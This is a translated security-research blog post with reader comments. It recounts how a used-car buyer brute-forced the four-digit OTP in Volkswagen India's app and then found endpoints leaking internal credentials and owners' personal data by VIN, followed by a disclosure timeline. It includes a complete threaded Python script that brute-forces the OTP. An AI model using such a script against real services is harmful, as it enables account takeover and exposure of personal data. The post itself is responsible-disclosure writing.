
Покупка подержанного автомобиля кажется простой — платишь деньги, получаешь ключи, включаешь любимый плейлист и уезжаешь. Однако в эпоху, когда всё связано с интернетом, «владение» машиной выходит далеко за пределы водительского кресла.
В 2024 году я купил подержанный автомобиль. Будучи техно-энтузиастом, я с нетерпением ждал возможности по достоинству оценить его функции. Как только я припарковал свой автомобиль, я установил на телефон приложение My Volkswagen (ŠKODA Auto Volkswagen India Pvt Ltd). Во время настройки приложение попросило ввести VIN-номер машины — легко, он был прямо на лобовом стекле. Затем приложение потребовало четырёхзначный OTP-код — я подумал, что получить этот код будет просто. Оказалось, что нет.

Был только один способ узнать это.
Процесс исследования (техническая веселуха)
Давно я не расчехлял свой верный Burp Suite.
Настроив Wi-Fi прокси на iPhone и установив CA-сертификат Burp, я отправил запрос с случайным OTP, чтобы увидеть, как всё работает (если хотите сделать это сами — посмотрите полный гайд).
Вскоре я уже мог просматривать все запросы, которые приложение отправляет в интернет. Перебирая эти запросы в поисках своего OTP, я обнаружил ещё несколько интересных вызовов API, о которых расскажу ниже.

Найдя нужный запрос, я попробовал подобрать значение поля OTP перебором, но бесплатная версия Burp оказалась слишком медленной для моего нетерпения.
В итоге я быстро накидал скрипт на Python,
import requests
from concurrent.futures import ThreadPoolExecutor, as_completed
# API endpoint
url = <REDACTED>
# Headers for the request
headers = {
"Host": <REDACTED>,
"Accept": "*/*",
"Content-Type": "application/json",
"Authorization": <REDACTED>
}
# Data template
data_template = {
"brand": "VW",
"installationID": <REDACTED>,
"userID": <REDACTED>,
"vehicleID": <REDACTED>,
"otp": "5555" # OTP placeholder
}
# Function to send a single request
def send_request(otp):
otp_str = f"{otp:04}" # Format OTP as 4 digits
data = data_template.copy()
data["otp"] = otp_str
try:
response =
requests.post
(url, json=data, headers=headers)
result = f"OTP: {otp_str} | Response Code: {response.status_code} | Body: {response.text}"
except requests.exceptions.RequestException as e:
result = f"OTP: {otp_str} | Error: {e}"
return result
# Concurrent execution
def main():
max_workers = 100 # Number of concurrent threads
with ThreadPoolExecutor(max_workers=max_workers) as executor, open("responses.txt", "w") as file:
# Submit tasks for each OTP
futures = {executor.submit(send_request, otp): otp for otp in range(10000)}
for future in as_completed(futures):
result = future.result()
# Log to console for monitoring
print(result)
# Write result to file
file.write(result + "\n")
if name == "__main__":
main()
Спустя несколько секунд скрипт подобрал правильный OTP, и приложение наконец-то отобразило мою машину,


Наконец-то я получил доступ к своей машине! Но это заставило меня задуматься, какие ещё уязвимости могут быть в приложении? Я вернулся в Burp и изучил различные API-запросы, обнаружив несколько серьёзных проблем,
Вторая уязвимость 1. Утечка внутренних учётных данных в открытом виде.
Один из API-эндпоинтов раскрывал пароли, токены и имена пользователей для различных внутренних сервисов в открытом виде. Включая внутренние приложения, данные для обработки платежей и даже инструменты CRM вроде Salesforce.


Уязвимость 2. Персональные данные владельца раскрыты через VIN.
Ещё один API-эндпоинт раскрывал все сервисные и гарантийные пакеты, когда-либо приобретённые для автомобиля, доступ к которым можно было получить, зная только VIN номер.
Каждая запись о сервисном пакете содержала обширную информацию о клиенте, включая имена, номера телефонов, почтовые адреса, адреса электронной почты, информацию об автомобиле (модель, цвет, регистрационный номер, номер шасси, номер двигателя), активные сервисные контракты, даты покупок и суммы платежей, а также другие детали.

Пример записи, показывающей данные, доступные через этот эндпоинт:
{
"old": {
"VALID_CONTRACTS_AND_INTREM_CONTRACTS_VW": {
"CONTRACT_ID": <REDACTED>,
"PRODUCT_NAME": <REDACTED>,
"PRODUCT_DESC": <REDACTED>,
"PAYMENT_STATUS": null,
"PRODUCT_ID": <REDACTED>,
"MST_VAS_TYPE_ID": <REDACTED>,
"PLAN_ID": <REDACTED>,
"INVOICE_NUMBER": <REDACTED>,
"DEALER_ID": <REDACTED>,
"DATE_OF_SALE": <REDACTED>,
"SELLER_ID": null,
"SELLER_TYPE": <REDACTED>,
"SOLD_BY": null,
"SOLD_TYPE": <REDACTED>,
"VALID_FROM_DATE": <REDACTED>,
"VALID_TILL_DATE": <REDACTED>,
"VALID_TILL_DISTANCE": null,
"IS_OWNERSHIP_CHANGED": null,
"STATUS": <REDACTED>,
"GENERAL_COMMENTS": null,
"IS_SHORTCLOSED": null,
"SHORTCLOSED_ON": null,
"SHORTCLOSED_COMMENTS": null,
"VIN": <REDACTED>,
"ENGINE_NUMBER": <REDACTED>,
"CHASSIS_NUMBER": <REDACTED>,
"REGD_NUMBER": <REDACTED>,
"ORDER_FROM": null,
"CURRENT_KM": null,
"MODEL": <REDACTED>,
"VARIANT": <REDACTED>,
"COLOR": null,
"SHADE": null,
"PUR_CITY": null,
"REGD_CITY": null,
"REGD_OWNER": <REDACTED>,
"USER_NAME": null,
"MOBILE": <REDACTED>,
"FAX": null,
"PHONE": null,
"EMAIL": <REDACTED>,
"ADDRESS_LINE1": <REDACTED>,
"ADDRESS_LINE2": null,
"CITY": <REDACTED>,
"PINCODE": <REDACTED>,
"CREATED_ON": <REDACTED>,
"CREATED_BY": <REDACTED>,
"MODIFIED_ON": <REDACTED>,
"MODIFIED_BY": <REDACTED>,
"PARTS_MRP": <REDACTED>,
"LABOR_COST": <REDACTED>,
"SWACH_BHARAT_CESS": null,
"KRISHI_KALYAN_CESS": null,
"SERVICETAX": null,
"SWACH_BHARAT_CESS_PERCENTAGE": null,
"KRISHI_KALYAN_CESS_PERCENTAGE": null,
"SERVICETAX_PERCENTAGE": null,
"CUSTOMER_GSTIN": null,
"CUSTOMER_GSTIN_AVAILABLE": null,
"SGST": <REDACTED>,
"IGST": <REDACTED>,
"CGST": <REDACTED>,
"CESS": <REDACTED>,
"GSTIN": null,
"SGST_PERCENTAGE": <REDACTED>,
"CGST_PERCENTAGE": <REDACTED>,
"IGST_PERCENTAGE": <REDACTED>,
"CESS_PERCENTAGE": <REDACTED>,
"STATE_NUM": <REDACTED>,
"RELATED_CONTRACT_ID": <REDACTED>,
"FUEL_TYPE": <REDACTED>,
"ODOMETER_READING": <REDACTED>,
"CONTRACT_STATUS": <REDACTED>,
"CERTIFICATE_NUMBER": null,
"MODEL_CODE": null,
"SCORE": null,
"UPLOAD_FILES": null,
"CREDIT_INVOICE_NUMBER": null,
"CREDIT_CREATED_ON": null,
"MODEL_YEAR": <REDACTED>,
"BRAND": <REDACTED>,
"EW_NUMBER": null,
"TYPE_OF_CONTRACT": <REDACTED>,
"COST_BEFORE_DEALER_DISCOUNT": null,
"DEALER_DISCOUNT_TYPE": null,
"DEALER_DISCOUNT_VALUE": null,
"COST_AFTER_DEALER_DISCOUNT": null,
"IRN_NUMBER": null,
"QR_CODE": null,
"IS_IRN_CANCELLED": null,
"DISS_K_QUERY_NO": null,
"RO_NUMBER": null,
"DIAGNOSTIC_PROTOCOL_ID": null,
"DAN_NUMBER": null,
"DAN_DATE": null,
"CARPORT_FILE_GEN": <REDACTED>,
"MODE_OF_PAYMENT": null,
"PRICE": "0.00"
}
}
}
Уязвимость 3. Доступ к истории обслуживания автомобиля по VIN.
Еще один эндпоинт раскрывал историю обслуживания и детали выполненных работ за все визиты в сервисный центр для любого автомобиля — опять же, доступ был возможен только по номеру VIN.
Для каждого визита в сервис была отдельная запись с подробностями проведенных работ, персональной информацией клиента и даже результатами анкетирования клиента по итогам каждого обращения!

Пример записи, демонстрирующей данные, доступные через этот эндпоинт.
{
"attributes": {
"type": <REDACTED>,
"url": <REDACTED>
},
"Id": <REDACTED>,
"CreatedDate": <REDACTED>,
"VW_VIN__c": <REDACTED>,
"VW_Registration_No__c": <REDACTED>,
"RO_Closed_Date__c": <REDACTED>,
"RO_Type__c": <REDACTED>,
"Delivery_Date_Nadcon__c": <REDACTED>,
"Mileage_Out__c": 27670,
"Service_Dealer__c": <REDACTED>,
"Customer_Voice__c": <REDACTED>,
"Item_Amount__c": 9898.32,
"Labor_Amount__c": 3812.66,
"Amount__c": 13710.98,
"Selling_Dealer_Code__c": <REDACTED>,
"Post_Service_feedback_for_VW_HQ__c": false,
"VW_Brand__c": <REDACTED>,
"VW_RO_Number__c": <REDACTED>,
"Repair_Order__c": <REDACTED>,
"SA__c": <REDACTED>,
"RecordTypeId": <REDACTED>,
"Service_Dealer__r": {
"attributes": {
"type": <REDACTED>,
"url": <REDACTED>
},
"Id": <REDACTED>,
"Name": <REDACTED>
},
"Repair_Order__r": {
"attributes": {
"type": <REDACTED>,
"url": <REDACTED>
},
"Id": <REDACTED>,
"City__c": <REDACTED>,
"Discount__c": <REDACTED>,
"Discount_Amount__c": <REDACTED>,
"Pincode__c": <REDACTED>,
"State__c": <REDACTED>,
"Total_GST__c": <REDACTED>,
"address__c": <REDACTED>
}
}
],
"Overall_customer_satisfaction_score": <REDACTED>,
"Message": null,
"Dealer_PSF_Question_rated_less_than_4_star": {
"Will you need to revisit to a workshop because work carried-out incorrectly and/or incompletely in this visit.": No,
"Was your last workshop visit due to incorrect work done in an earlier visit": "No"
},
"customerMasterData": {
"attributes": {
"type": <REDACTED>,
"url": <REDACTED>
},
"Id": <REDACTED>,
"VW_CustomerName__c": <REDACTED>,
"VW_Primary_Email_ID__c": <REDACTED>,
"VW_Address_Line_1__c": <REDACTED>,
"Registered_Owner_Address__c": <REDACTED>,
"VW_Active__c": true,
"VW_DOB__c": <REDACTED>,
"VW_Permanent_Mobile_Number__c": <REDACTED>
}
Дополнительные API-эндпоинты раскрывали данные о телематике автомобиля, а в некоторых случаях даже номера "educationQualification" и "drivingLicense". Это свидетельствовало о серьёзном масштабе утечки данных клиентов.
Пример данных из одного такого эндпоинта:
{
"isSuccessful": true,
"messagecode": 200,
"message": "Success",
"userInfo": {
"userID": <REDACTED>,
"name": <REDACTED>,
"primaryMailID": <REDACTED>,
"secondaryMailID": <REDACTED>,
"primaryContact": <REDACTED>,
"secondaryContact": <REDACTED>,
"emergencyContact": <REDACTED>,
"familyType": <REDACTED>,
"dob": <REDACTED>,
"educationQualification": <REDACTED>,
"communicationAddress": <REDACTED>,
"otherCarDetail": <REDACTED>,
"drivingLicence": <REDACTED>,
"preferCommunicationModel": <REDACTED>
},
"loginDetails": {
"loginVia": "Email",
"otpVerifiedStatus": true
},
"notificationSettings": {
"brandVoiceAlert": false,
"serviceDueVoiceAlert": false,
"insuranceVoiceAlert": false,
"pucVoiceAlert": false,
"brandAlert": false,
"serviceDueAlert": false,
"insuranceAlert": false,
"pucAlert": false
}
Итоги
Любой человек мог добавить ваш автомобиль и получить доступ ко всей доступной информации и функциям управления транспортным средством через приложение.
Утечка включала бы местоположение автомобиля, состояние двигателя, статистику по топливу, давление в шинах, управление геозонами и многое другое. Также все ваши личные данные, такие как адрес проживания, номер телефона, email, водительские права, история обслуживания, жалобы и проблемы с автомобилем, были бы доступны.
Почему это важно?
- Представьте, если такие данные попадут в руки преследователей или преступников? Они могли бы легко определить ваше текущее местоположение, домашний адрес, часто посещаемые места, номер телефона, email — и на этом список не заканчивается.
- А если мошенники? Они смогли бы притвориться сотрудниками дилерского центра или вашей страховой компании и пользоваться этими данными, чтобы быть максимально убедительными.
- Хакеры? Вся ваша личная информация могла бы оказаться на продаже в даркнете, а в будущем кто-то мог бы получить доступ к системам автомобиля.
И всё это — просто используя данные, которые можно увидеть через лобовое стекло вашего автомобиля!
Что произошло, когда я связался с Volkswagen? Скажу сразу: понадобилось терпение, соглашения о неразглашении и очень много кофе.
Отчёт и процесс раскрытия уязвимости
Впервые я сообщил о найденной уязвимости в службу безопасности Volkswagen 23 ноября 2024 года, приложив все доказательства, собранные во время тестирования.
Понадобилось время, чтобы найти правильный контакт для раскрытия информации о проблеме. В итоге я нашёл его в файле security.txt по адресу.
Команда Volkswagen быстро отреагировала, прислав подтверждение 27 ноября 2024 года, спустя четыре дня после моего первого письма.
В течение следующих трёх месяцев у нас была переписка, команда безопасности Volkswagen оставалась на связи и оперативно реагировала.
До определённого момента обновлений было мало — с технической точки зрения почти никаких подробностей не давали, и я не знал точной причины задержки с устранением проблемы.
Наконец, 3 апреля 2025 года команда предложила подписать NDA, чтобы они могли поделиться техническими деталями и внутренними планами по устранению уязвимости.
6 мая 2025 года я встретился со всеми заинтересованными сторонами Volkswagen для обсуждения окончательного решения и получил подтверждение, что уязвимости были исправлены.

Заключение
Хотя я не получил вознаграждения, мне досталось кое-что, возможно, даже более приятное — возможность помочь сделать реальный продукт чуть безопаснее.
Если вы исследователь в области безопасности, любознательный разработчик или просто человек, которому нравится разбираться в вещах (цифровым способом), не стоит недооценивать то, что можно обнаружить в повседневных технологиях, которые вы используете. Убедитесь, что сообщаете о находках правильно — и запаситесь терпением.
Ещё больше познавательного контента в Telegram-канале — Life-Hack - Хакер
Комментарии (5)
outlingo
23.05.2025 12:34от педантичных немцев
Конечно
ŠKODA Auto Volkswagen India Pvt Ltd
Аутсорс, эффективный менеджмент - все как мы любим. Кстати - а откуда берутся анекдоты про индусский код? Уверен, их придумывают расисты и нацисты.
Metotron0
23.05.2025 12:34Всякий раз удивляюсь, как продвинулись автотехнологии. Давление в колёсах через приложение, удивительно. Для этих людей пожержанная машина явно моложе десяти лет.
Belkogoth
Мдее, уж от кого, а от педантичных немцев такой подставы ожидать странно, тем более что от самого крупного автоконцерна Германии. В век https, ssl, aes настолько убого реализовать передачу.. В чем проблема-то всё заталкивать в шифрованный туннель с закрытым ключом? Индусы уже много денег просят, а еще дешевле погромистов попросту нет на планете?))) И это, пардон, пр-ль автомобилей. Сейчас копеечная камера умеет в облако полностью шифрованный траффик слать.
Они так и на скандал нарваться могут, а за ним рынки свои уронить. Что не особо позитивно на фоне и без того неприятных для VW тенденций, их китайцы же со своего рынка и вытесняют помалу.
INSTE
В Германии вообще принято следовать правилам, и это принимает парадоксальные формы (для тех, кто не знаком с менталитетом). Если на сайте написать явно "запрещаем взламывать сайт или использовать его неочевидным образом", то и защиту приделывать не нужно - если его кто-то "взломает", то к нему просто можно с маски-шоу заходить и на 10 лет в кутузку - он же НАРУШИЛ ПРАВИЛО и опасный хакир.
И это не шутка, год назад проскакивали скриншоты из devtools с сайта Берлинской миграционки, где просто через alert просили не использовать API сайта для создания ботов, потому что это плохо и нарушает правила пользования (и никакой другой защиты, разумеется, не было сделано).
Также и с машиной. Она не ваша? Значит просто не добавляйте ее к себе в приложение, у вас же нет на это разрешения от владельца. И дело в шляпе.
ildarz
А причем тут шифрованные туннели? Баг , судя по тексту, был в том, что API для начала позволял зарегистрироваться тупым перебором OTP, а потом раскрывать данные, которые надо и не надо. Причем в переводе почему-то исчез кусок о том, что автор сначала пытался получить доступ легальным образом.